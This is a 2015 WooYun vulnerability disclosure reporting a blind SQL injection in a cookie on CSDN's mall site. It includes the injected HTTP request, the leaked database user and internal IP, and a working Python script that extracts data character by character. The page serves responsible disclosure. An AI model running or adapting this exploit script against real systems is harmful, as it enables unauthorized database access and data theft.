当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0114492

漏洞标题:CSDN另一站点MySQL盲注(附验证脚本)

相关厂商:CSDN开发者社区

漏洞作者: lijiejie

提交时间:2015-05-16 19:34

修复时间:2015-07-05 09:28

公开时间:2015-07-05 09:28

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:6

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-16: 细节已通知厂商并且等待厂商处理中
2015-05-21: 厂商已经确认,细节仅向厂商公开
2015-05-31: 细节向核心白帽子及相关领域专家公开
2015-06-10: 细节向普通白帽子公开
2015-06-20: 细节向实习白帽子公开
2015-07-05: 细节向公众公开

简要描述:

CSDN另一站点MySQL盲注(附验证脚本)

详细说明:

注射点:

GET /cart/mini_cart_ajax HTTP/1.1
Cookie: PHPSESSID=c6798728910c94d53a88cd8369b8def5; csdn_cart_user_id=1"%20OR%20length(user())=23--%20; cache_cart_num=0
X-Requested-With: XMLHttpRequest
Referer: http://mall.csdn.net
Host: mall.csdn.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Mobile/12A4345d Safari/600.1.4
Accept: */*


Cookie中的csdn_cart_user_id可注入。MySQL bool blind.

漏洞证明:

验证猜解user():

[Done]MySQL user is csdnmall@192.168.110.21


cdsn.net.png


#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllib
headers = {
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
'Cookie': 'PHPSESSID=c6798728910c94d53a88cd8369b8def5; csdn_cart_user_id=1"%20OR%20length(user())=23--%20; cache_cart_num=0',
}
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
print 'start to retrive MySQL user:'
user = ''
for i in range(1,24):
for payload in payloads:
conn = httplib.HTTPConnection('mall.csdn.net', timeout=60)
s = "ascii(mid(lower(user()),%s,1))=%s" % (i, ord(payload))
headers['Cookie'] = 'PHPSESSID=c6798728910c94d53a88cd8369b8def5; csdn_cart_user_id=%s; cache_cart_num=0' % urllib.quote('1" OR %s-- ' % s)
conn.request(method='GET',
url='/cart/mini_cart_ajax',
headers = headers)
html_doc = conn.getresponse().read()
conn.close()
print '.',
if len(html_doc) > 200:
user += payload
sys.stdout.write('\r[In progress] %s' % user)
sys.stdout.flush()
break
print '\n[Done]MySQL user is', user

修复方案:

参数过滤

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-05-21 09:27

厂商回复:

尽快修复。

最新状态:

暂无